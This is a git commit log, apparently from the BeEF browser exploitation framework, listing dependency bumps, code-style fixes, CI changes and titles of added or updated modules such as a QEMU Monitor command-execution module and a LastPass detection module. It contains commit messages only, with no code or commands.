Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:58:03 +10:00
dependabot[bot]
b911c8df23 Bump nokogiri from 1.13.3 to 1.13.6 (#2423)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.3 to 1.13.6.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.3...v1.13.6)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:55:48 +10:00
dependabot[bot]
9bc8d017e6 Bump selenium-webdriver from 4.1.0 to 4.2.1 (#2438)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.1.0 to 4.2.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:55:34 +10:00
wheatley
a7a4c81468 adding GHAS scanning (#2429) 2022-05-30 09:53:24 +10:00
bcoles
cbe9f66990 Admin UI: Remove 'Submit Bug' link from admin panel (#2403) 2022-05-12 11:09:52 +10:00
Isaac Powell
1c395a3153 1612 update detect lastpass module (#2292)
* updated detection methods for LastPass module

* removed old detection of form tag

* refactor detection, updated module config.yaml

* comment removal

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

True!

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

not necessary to preface the text for this one?

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* removing redundant code

* implement field creation

* form field creation and sequential execution

* removing test beef.debug

Co-authored-by: bcoles <bcoles@gmail.com>
2022-03-30 13:44:36 +10:00
iWhacko
0636e815db Bugfix/browse offline zombies (#2371)
* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

(cherry picked from commit fed79d7142)

* Revert "- Fix for offline browsers. Allowing you to view all executed commands in the past and details. - fiexed a small mistake in a comment"

This reverts commit fed79d71

* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

Co-authored-by: Whacko <not@gonna.tel>
2022-03-30 11:20:09 +10:00
Abd El-Twab M. Fakhry
b46edb4d1a Add Arch based distro 'Artix' for linux installer (#2373)
Thanks @AbdeltwabMF for contributing!
2022-03-25 09:10:47 +10:00
dependabot[bot]
5fdd96f576 Bump rubocop from 1.25.1 to 1.26.0 (#2347)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.25.1 to 1.26.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.25.1...v1.26.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-17 13:33:40 +10:00
bcoles
033dbc1192 AdminUI: Fix admin UI generated combined JavaScript file name (#2358) 2022-03-16 11:35:53 +11:00
bcoles
67892d46a8 Admin UI: Treat URL route mount failures as fatal (#2349) 2022-03-15 14:30:01 +10:00
bcoles
d2f27e6f2e Exit upon database connection errors at startup (#2350) 2022-03-15 14:12:51 +10:00
bcoles
57ab7fda84 Detect OpenNIC DNS (#2341) 2022-03-13 02:11:17 +11:00
bcoles
139359a760 Treat core configuration file load failure as fatal (#2351) 2022-03-13 00:03:38 +10:00
bcoles
38b7ac7c23 Bump Platform.js to version 1.3.6 (#2343) 2022-03-09 19:56:33 +11:00
bcoles
52996d4fc5 Detect Ethereum ENS (#2342) 2022-03-09 15:48:40 +10:00
dependabot[bot]
4dbced4f55 Bump nokogiri from 1.12.5 to 1.13.3 (#2316)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.5 to 1.13.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.5...v1.13.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-09 15:01:43 +10:00
Marc Partensky
c5e17be6db healthcheck (#2314)
@MarcPartensky  thanks, please check out the comment on your other PR. Cheers
2022-03-09 12:02:07 +10:00
dependabot[bot]
1c7a6e9fef Bump selenium-webdriver from 3.142.7 to 4.1.0 (#2260)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 3.142.7 to 4.1.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits/selenium-4.1.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-22 22:29:00 +10:00
karlmanait
f104a5daff Update ruby version in Dockerfile (#2305)
* Update ruby version in Dockerfile
2022-02-22 20:15:04 +10:00
dependabot[bot]
216d312ebe Bump sinatra from 2.1.0 to 2.2.0 (#2298)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 2.1.0 to 2.2.0.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v2.1.0...v2.2.0)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-22 11:33:02 +10:00
Molese
9b277a0276 Format scripts with shfmt and fix two issues identified by shellcheck (#2303)
* install: format script with `shfmt`

Signed-off-by: molese <molese@protonmail.com>

* install: double quote `GITACTIONS` variable to prevent word splitting (SC2086)

Signed-off-by: molese <molese@protonmail.com>

* install: replace `! -z` with `-n` (SC2236)

Signed-off-by: molese <molese@protonmail.com>

* update-beef: format script with `shfmt`

Signed-off-by: molese <molese@protonmail.com>

* scripts/bump-version.sh: format script with `shfmt`

Signed-off-by: molese <molese@protonmail.com>
2022-02-18 19:01:47 +11:00
dependabot[bot]
c7a3d4c032 Bump otr-activerecord from 2.0.4 to 2.1.1 (#2291)
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.0.4 to 2.1.1.
- [Release notes](https://github.com/jhollinger/otr-activerecord/releases)
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.0.4...v2.1.1)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-16 15:21:51 +10:00
dependabot[bot]
1c4ffa33d3 Bump rubocop from 1.25.0 to 1.25.1 (#2293)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.25.0 to 1.25.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.25.0...v1.25.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-16 11:18:53 +10:00
dependabot[bot]
908b6a7a0c Bump rspec from 3.10.0 to 3.11.0 (#2294)
Bumps [rspec](https://github.com/rspec/rspec-metagem) from 3.10.0 to 3.11.0.
- [Release notes](https://github.com/rspec/rspec-metagem/releases)
- [Commits](https://github.com/rspec/rspec-metagem/compare/v3.10.0...v3.11.0)

---
updated-dependencies:
- dependency-name: rspec
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-16 10:11:19 +10:00
jcrew99
14d7975c7a Merge pull request #2290 from beefproject/removed_comment
Code Quality #2288 Removed a comment
2022-01-26 19:31:30 +10:00
jcrew99
f9f2121219 Code Quality #2288 Removed a comment 2022-01-26 19:05:00 +10:00
bcoles
e22d262bbf Core: Move web server imitation templates into Router class (#2289) 2022-01-26 13:41:18 +11:00
dependabot[bot]
ae9976b050 Bump websocket-client-simple from 0.3.0 to 0.5.1 (#2263)
Bumps [websocket-client-simple](https://github.com/ruby-jp/websocket-client-simple) from 0.3.0 to 0.5.1.
- [Release notes](https://github.com/ruby-jp/websocket-client-simple/releases)
- [Changelog](https://github.com/ruby-jp/websocket-client-simple/blob/master/History.txt)
- [Commits](https://github.com/ruby-jp/websocket-client-simple/compare/v0.3.0...v0.5.1)

---
updated-dependencies:
- dependency-name: websocket-client-simple
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-01-25 11:28:41 +10:00
bcoles
124c9d60b3 Core: Resolve many Rubocop violations (#2282) 2022-01-24 16:25:39 +11:00
dependabot[bot]
9f7e1ecfc1 Bump otr-activerecord from 2.0.3 to 2.0.4 (#2271)
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.0.3 to 2.0.4.
- [Release notes](https://github.com/jhollinger/otr-activerecord/releases)
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.0.3...v2.0.4)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-01-24 14:21:20 +10:00
bcoles
b68fcecd46 Bump Ruby version from 2.7.2 to 2.7.4 (#2281) 2022-01-24 00:41:56 +11:00
jcrew99
29e025bbfc spec: Fix some rubocop violations (#2011) 2022-01-23 23:49:44 +11:00
bcoles
01c3413687 Modules: Resolve many Rubocop violations (#2280)
Modules: Resolve many Rubocop violations
2022-01-23 00:01:44 +11:00
Brendan Coles
a64480dfab Modules: Resolve many Rubocop violations 2022-01-22 12:46:42 +00:00
bcoles
bbe805f017 Extensions: Resolve many Rubocop violations (#2279)
Extensions: Resolve many Rubocop violations
2022-01-22 22:37:50 +11:00
Brendan Coles
aa7a6f9e64 Extensions: Resolve many Rubocop violations 2022-01-22 11:16:12 +00:00
bcoles
43af6391f0 Rubocop: Disable Metrics/ModuleLength, Naming/ClassAndModuleCamelCase, Style/Documentation (#2278)
Rubocop: Disable Metrics/ModuleLength, Naming/ClassAndModuleCamelCase, Style/Documentation
2022-01-22 19:04:52 +11:00
Brendan Coles
5f143a8e41 Rubocop: Disable Metrics/ModuleLength, Naming/ClassAndModuleCamelCase, Style/Documentation 2022-01-22 08:03:53 +00:00
bcoles
bbe4fda350 Bump minimum required Ruby version from 2.5 to 2.7 (#2277)
Bump minimum required Ruby version from 2.5 to 2.7
2022-01-22 18:30:22 +11:00
Brendan Coles
afec9fbaa2 Bump minimum required Ruby version from 2.5 to 2.7 2022-01-22 07:09:51 +00:00
bcoles
20f9f2e530 Modules: Rename browser/webcam to browser/webcam_flash (#2276)
Modules: Rename browser/webcam to browser/webcam_flash
2022-01-22 18:00:49 +11:00
Brendan Coles
060a3bfae2 Modules: Rename browser/webcam to browser/webcam_flash 2022-01-22 06:58:18 +00:00
bcoles
e75f5a87c2 Rubocop: Update TargetRubyVersion to 2.7 and enable all NewCops (#2275)
Rubocop: Update TargetRubyVersion to 2.7 and enable all NewCops
2022-01-22 17:39:05 +11:00
Brendan Coles
d9cc5cb364 Rubocop: Update TargetRubyVersion to 2.7 and enable all NewCops 2022-01-22 06:37:13 +00:00
bcoles
dd82546998 core/api: Fix typo for undefined variable 'method' (#2273)
core/api: Fix typo for undefined variable 'method'
2022-01-22 16:56:58 +11:00
Brendan Coles
7c4a90c51a core/api: Fix typo for undefined variable 'method' 2022-01-22 05:55:39 +00:00
bcoles
fb622e8c4c Metasploit BeEF Bind: Update installation instructions for Metasploit v6 (#2272)
Metasploit BeEF Bind: Update installation instructions for Metasploit v6
2022-01-22 16:37:13 +11:00
Brendan Coles
d0e2894137 Metasploit BeEF Bind: Rename instructions.txt -> README.md 2022-01-22 05:30:33 +00:00
Brendan Coles
448c3e864b Metasploit BeEF Bind: Update installation instructions for Metasploit v6 2022-01-22 05:29:56 +00:00
bcoles
9770e09d96 Update Metasploit BeEF Bind payloads for Metasploit v6 (#2226)
Fix modules for Metasploit v6.1.10-dev
2022-01-22 16:10:07 +11:00
dependabot[bot]
8294784268 Bump rubocop from 1.24.0 to 1.25.0 (#2270)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.24.0 to 1.25.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.24.0...v1.25.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-01-21 10:59:35 +10:00
dependabot[bot]
fe7627e169 Bump curb from 0.9.11 to 1.0.0 (#2269)
Bumps [curb](https://github.com/taf2/curb) from 0.9.11 to 1.0.0.
- [Release notes](https://github.com/taf2/curb/releases)
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-01-21 10:29:27 +10:00
bcoles
0d084f00c6 GeoIP: update geoip to use new Maxmind GeoIP database (#2268)
Nice
2022-01-17 09:29:41 +10:00
wheatley
5f4610a4cb Update github_actions.yml 2022-01-13 06:53:36 +10:00
wheatley
35e1f36f44 Update github_actions.yml 2022-01-13 06:53:19 +10:00
bcoles
c2a2ce4a4c Merge pull request #2264 from bcoles/qemu_monitor_migrate_cmd_exec
Modules: Add QEMU Monitor 'migrate' Command Execution module (#2264)
2022-01-07 13:19:31 +11:00
Brendan Coles
77a30ae720 Add QEMU Monitor 'migrate' Command Execution module 2022-01-06 03:05:43 +00:00
dependabot[bot]
3ed9e7ab2f Bump espeak-ruby from 1.0.4 to 1.0.5 (#2238)
Bumps [espeak-ruby](https://github.com/dejan/espeak-ruby) from 1.0.4 to 1.0.5.
- [Release notes](https://github.com/dejan/espeak-ruby/releases)
- [Changelog](https://github.com/dejan/espeak-ruby/blob/master/CHANGELOG)
- [Commits](https://github.com/dejan/espeak-ruby/compare/v1.0.4...v1.0.5)

---
updated-dependencies:
- dependency-name: espeak-ruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-31 10:20:46 +10:00
wheatley
f33e2698a0 MAINTAINABILITY: 2257 update copyright 2022 (#2259)
* 2257 updated copyright date
2021-12-31 09:48:08 +10:00
dependabot[bot]
a606a0bd77 Bump irb from 1.3.7 to 1.4.1 (#2255)
Bumps [irb](https://github.com/ruby/irb) from 1.3.7 to 1.4.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.3.7...v1.4.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:46:16 +10:00
dependabot[bot]
e3ec7708e3 Bump em-websocket from 0.5.2 to 0.5.3 (#2229)
Bumps [em-websocket](https://github.com/igrigorik/em-websocket) from 0.5.2 to 0.5.3.
- [Release notes](https://github.com/igrigorik/em-websocket/releases)
- [Changelog](https://github.com/igrigorik/em-websocket/blob/master/CHANGELOG.rdoc)
- [Commits](https://github.com/igrigorik/em-websocket/compare/v0.5.2...v0.5.3)

---
updated-dependencies:
- dependency-name: em-websocket
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:24:39 +10:00
dependabot[bot]
fe7a07d6c5 Bump rubocop from 1.22.3 to 1.24.0 (#2252)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.22.3 to 1.24.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.22.3...v1.24.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:22:25 +10:00
dependabot[bot]
260c3fc52a Bump rdoc from 6.3.2 to 6.4.0 (#2254)
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.3.2 to 6.4.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.3.2...v6.4.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:20:01 +10:00
dependabot[bot]
e0d208e508 Bump mime-types from 3.3.1 to 3.4.1 (#2232)
Bumps [mime-types](https://github.com/mime-types/ruby-mime-types) from 3.3.1 to 3.4.1.
- [Release notes](https://github.com/mime-types/ruby-mime-types/releases)
- [Changelog](https://github.com/mime-types/ruby-mime-types/blob/main/History.md)
- [Commits](https://github.com/mime-types/ruby-mime-types/compare/v3.3.1...v3.4.1)

---
updated-dependencies:
- dependency-name: mime-types
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:19:46 +10:00
dependabot[bot]
9e882cd9d5 Bump test-unit from 3.5.1 to 3.5.3 (#2248)
Bumps [test-unit](https://github.com/test-unit/test-unit) from 3.5.1 to 3.5.3.
- [Release notes](https://github.com/test-unit/test-unit/releases)
- [Commits](https://github.com/test-unit/test-unit/compare/3.5.1...3.5.3)

---
updated-dependencies:
- dependency-name: test-unit
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:12:41 +10:00
Isaac Powell
d96af71220 additional grep command to correctly identify arch (#2251) 2021-12-29 21:59:30 +10:00
Isaac Powell
2f08343015 removed gcc9 and libgcc 9 from install (#2250) 2021-12-29 21:59:09 +10:00
wheatley
113e6214f2 Removing accidental creation of workflow 2021-12-22 16:16:30 +10:00
wheatley
21fd7ca0c5 Create codacy-analysis.yml 2021-12-22 16:14:57 +10:00
wheatley
0b41775618 added script to bump versions for release (#2239)
So cool
2021-12-03 11:04:18 +11:00
Isaac Powell
9181c83a87 catch for nil (#2237) 2021-11-26 16:20:48 +11:00
Isaac Powell
66257f1cf3 Release/0.5.4.0 (#2234)
* version up to 0.5.4.0
2021-11-26 12:00:58 +11:00
Wanetty
b42aebd99f Fix files to msf6 2021-11-10 04:34:50 -05:00
Wanetty
77c9991a35 Fix files to msf6 2021-11-10 04:31:10 -05:00
wheatley
c6bb893c32 Travis cleanup (#2224)
Removed old travis-cli files as the project is now using gitHub-actions
2021-11-10 08:06:22 +10:00
dependabot[bot]
6f6124e40f Bump json from 2.5.1 to 2.6.1 (#2208)
* Bump json from 2.5.1 to 2.6.1

Bumps [json](https://github.com/flori/json) from 2.5.1 to 2.6.1.
- [Release notes](https://github.com/flori/json/releases)
- [Changelog](https://github.com/flori/json/blob/master/CHANGES.md)
- [Commits](https://github.com/flori/json/compare/v2.5.1...v2.6.1)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
2021-11-09 17:23:10 +11:00
bcoles
d7a3ffb2c3 Merge pull request #2205 from bcoles/apache_tomcat_examples_cookie_disclosure
Modules: Add apache_tomcat_examples_cookie_disclosure module (#2205)
2021-11-09 16:38:15 +11:00
Brendan Coles
c8595b09b7 Modules: Add apache_tomcat_examples_cookie_disclosure module 2021-11-09 05:36:33 +00:00
dependabot[bot]
e9b113226d Bump otr-activerecord from 2.0.1 to 2.0.3 (#2209)
* Bump otr-activerecord from 2.0.1 to 2.0.3

Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.0.1 to 2.0.3.
- [Release notes](https://github.com/jhollinger/otr-activerecord/releases)
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.0.1...v2.0.3)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 16:25:58 +11:00
dependabot[bot]
be9b7655fe Bump capybara from 3.35.3 to 3.36.0 (#2210)
* Bump capybara from 3.35.3 to 3.36.0

Bumps [capybara](https://github.com/teamcapybara/capybara) from 3.35.3 to 3.36.0.
- [Release notes](https://github.com/teamcapybara/capybara/releases)
- [Changelog](https://github.com/teamcapybara/capybara/blob/master/History.md)
- [Commits](https://github.com/teamcapybara/capybara/compare/3.35.3...3.36.0)

---
updated-dependencies:
- dependency-name: capybara
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 16:23:05 +11:00
dependabot[bot]
a6fcb1a14f Bump rubocop from 1.20.0 to 1.22.3 (#2213)
* Bump rubocop from 1.20.0 to 1.22.3

Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.20.0 to 1.22.3.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.20.0...v1.22.3)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
2021-11-09 16:22:15 +11:00
dependabot[bot]
784e6db9ce Bump test-unit from 3.5.0 to 3.5.1 (#2223)
Bumps [test-unit](https://github.com/test-unit/test-unit) from 3.5.0 to 3.5.1.
- [Release notes](https://github.com/test-unit/test-unit/releases)
- [Commits](https://github.com/test-unit/test-unit/compare/3.5.0...3.5.1)

---
updated-dependencies:
- dependency-name: test-unit
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
2021-11-09 16:13:40 +11:00
Isaac Powell
0d0e51452c Enhancement - Check for update on launch (#2199) 2021-11-09 14:40:51 +10:00
dependabot[bot]
08faef394b Bump test-unit from 3.4.6 to 3.5.0 (#2198)
* Bump test-unit from 3.4.6 to 3.5.0

Bumps [test-unit](https://github.com/test-unit/test-unit) from 3.4.6 to 3.5.0.
- [Release notes](https://github.com/test-unit/test-unit/releases)
- [Commits](https://github.com/test-unit/test-unit/compare/3.4.6...3.5.0)

---
updated-dependencies:
- dependency-name: test-unit
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 09:07:16 +10:00
dependabot[bot]
1aa86bd64a Bump nokogiri from 1.12.4 to 1.12.5 (#2197)
* Bump nokogiri from 1.12.4 to 1.12.5

Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.4 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.4...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

* removing explicit dependancy of nokogiri as it is only required as a dependancy

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 09:05:15 +10:00
dependabot[bot]
b7108bc069 Bump async-dns from 1.2.6 to 1.3.0 (#2194)
* Bump async-dns from 1.2.6 to 1.3.0

Bumps [async-dns](https://github.com/socketry/async-dns) from 1.2.6 to 1.3.0.
- [Release notes](https://github.com/socketry/async-dns/releases)
- [Commits](https://github.com/socketry/async-dns/compare/v1.2.6...v1.3.0)

---
updated-dependencies:
- dependency-name: async-dns
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 09:04:44 +10:00
dependabot[bot]
a674c9d25f Bump parseconfig from 1.1.0 to 1.1.2 (#2193)
* Bump parseconfig from 1.1.0 to 1.1.2

Bumps [parseconfig](https://github.com/datafolklabs/ruby-parseconfig) from 1.1.0 to 1.1.2.
- [Release notes](https://github.com/datafolklabs/ruby-parseconfig/releases)
- [Changelog](https://github.com/datafolklabs/ruby-parseconfig/blob/master/Changelog)
- [Commits](https://github.com/datafolklabs/ruby-parseconfig/commits)

---
updated-dependencies:
- dependency-name: parseconfig
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 09:03:36 +10:00
wheatley
99c6287a67 MAINTAINABILITY: Added approval before code execution. (#2218) 2021-11-08 09:32:12 +10:00
Isaac Powell
2794bc3cf4 INSTALL: Fixed GITACTIONS check for null (#2214) 2021-10-28 15:35:10 +10:00
Isaac Powell
541933a45f deleted github actions .yaml used for testing 2021-10-28 12:24:43 +11:00
Isaac Powell
9cef23be22 Update github_actions.yml
Changed the actions to run on master branch when pull request is triggered
2021-10-22 12:05:01 +11:00
Isaac Powell
7c3e342981 Feature/ci (#2190)
squash and merge
